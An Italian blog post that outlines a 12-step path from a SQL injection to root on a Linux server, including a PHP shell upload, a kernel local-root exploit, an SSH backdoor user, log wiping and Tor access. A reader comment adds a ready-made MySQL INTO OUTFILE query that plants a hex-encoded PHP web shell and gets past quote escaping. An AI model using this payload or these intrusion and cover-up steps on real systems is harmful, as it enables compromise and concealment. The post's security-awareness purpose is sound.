Da Sql-injection a Root in 12 Passi

Un sistema di sicurezza è forte quanto l’anello più debole. Trovare un punto debole e sfruttarlo in modo adeguato può portare alla sconfitta totale del sistema di sicurezza stesso.

Un piccolo bug in una web-application può spalancare le porte ad una compromissione più profonda del sistema. Il pirata, una volta ottenuto l’accesso ad un sistema, può attaccare una rete dall’interno, trovare e sfruttare relazioni di fiducia e penetrare sistemi collegati altrimenti irraggiungibili. Per questo motivo la sql-injection e gli altri bug delle web-application non dovrebbero essere sottovalutati: si rischia un devastante effetto domino.

Un interessante documento reperibile su Milw0rm, “From Boot to Remote Root” illustra in modo magistrale questo processo.

Prima di proseguire è bene chiarire che un attacco sql-injection consiste nello sfruttare una mancata validazione dell’input fornito dall’utente alla web-application. Sfruttando questo varco il pirata ha la facoltà di inserire codice Sql e sovvertire la logica predefinita, forzando il sistema a piegarsi alle proprie volontà. Sql è il linguaggio utilizzato per interrogare le basi dati. Sovvertendo la logica di questi script è possibile anche reperire le password (cifrate) memorizzate nel database stesso. Si tratta di una delle più diffuse tecniche dihacking degli ultimi tempi.

Vediamo i punti salienti dell’attacco:

  1. Viene identificata una sql-injection in una web-application
  2. Tramite questo bug si identificano gli utenti e si prelevano gli hash delle password
  3. Si cracca la password e si accede al pannello di controllo come admin
  4. Upload di una shell php come C99 per interagire col sistema
  5. Scalare i privilegi, ottenere quelli di root per il controllo totale
  6. Si identifica il tipo di sistema operativo: nell’esempio RedHat Linux 5, kernel 2.6.22
  7. Si cerca un exploit locale: Linux vmsplice Local Root Exploit
  8. Lo si carica sul sistema remoto, si compila e si esegue
  9. Si ottengono i privilegi root: controllo assoluto!
  10. A questo punto si aggiunge un utente ssh per accessi successivi (backdoor)
  11. Si ripuliscono i log e le tracce dell’hackeraggio
  12. Gli accessi successivi vengono effettuati con l’utente backdoor tramite Tor

Tutto questo a causa di una maldestra gestione dell’input utente!

9 Commenti

  1. Ho letto l’articolo su milw0rm molto interessante, posso chiederti che siti visiti abitualmente per tenerti aggiornato?

    ciao grazie

  2. I passaggi dal 2 al 4 sono inutili 😛

    Tramite il costrutto MySQL (e corrispettivi MSSQL, ecc ecc) :

    SELECT ‘testo’ INTO OUTFILE ‘percorso del file’

    si può creare un file (dentro una directory scrivibile ovviamente) con del contenuto arbitrario, ad esempio può tornare utile :

    SELECT ” INTO OUTFILE ‘/htdocs/sito.it/www/shell.php’

    Ovviamente nel caso in cui le magic quotes fossero attivate, le stringhe possono tranquillamente essere codificate in esadecimale per aggirare il problema degli apici, di conseguenza la precedente query diventerebbe :

    SELECT 0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e INTO OUTFILE 0x2f6874646f63732f7369746f2e69742f7777772f7368656c6c2e706870

    In questo modo avremo una shell a prescindere dal tipo di web application che stiamo exploitando (dato che non tutte le webapp danno la possibilità di uppare file php) e senza dover “faticare” per crackare eventuali hash della password dell’amministratore.

    Un altra funzione molto interessante di MySQL è la LOAD_FILE 😉

1 Trackback / Pingback

  1. PillolHacking.Net: I Migliori Articoli di Marzo 2009 | BlogTecnico 2.0

I commenti sono bloccati.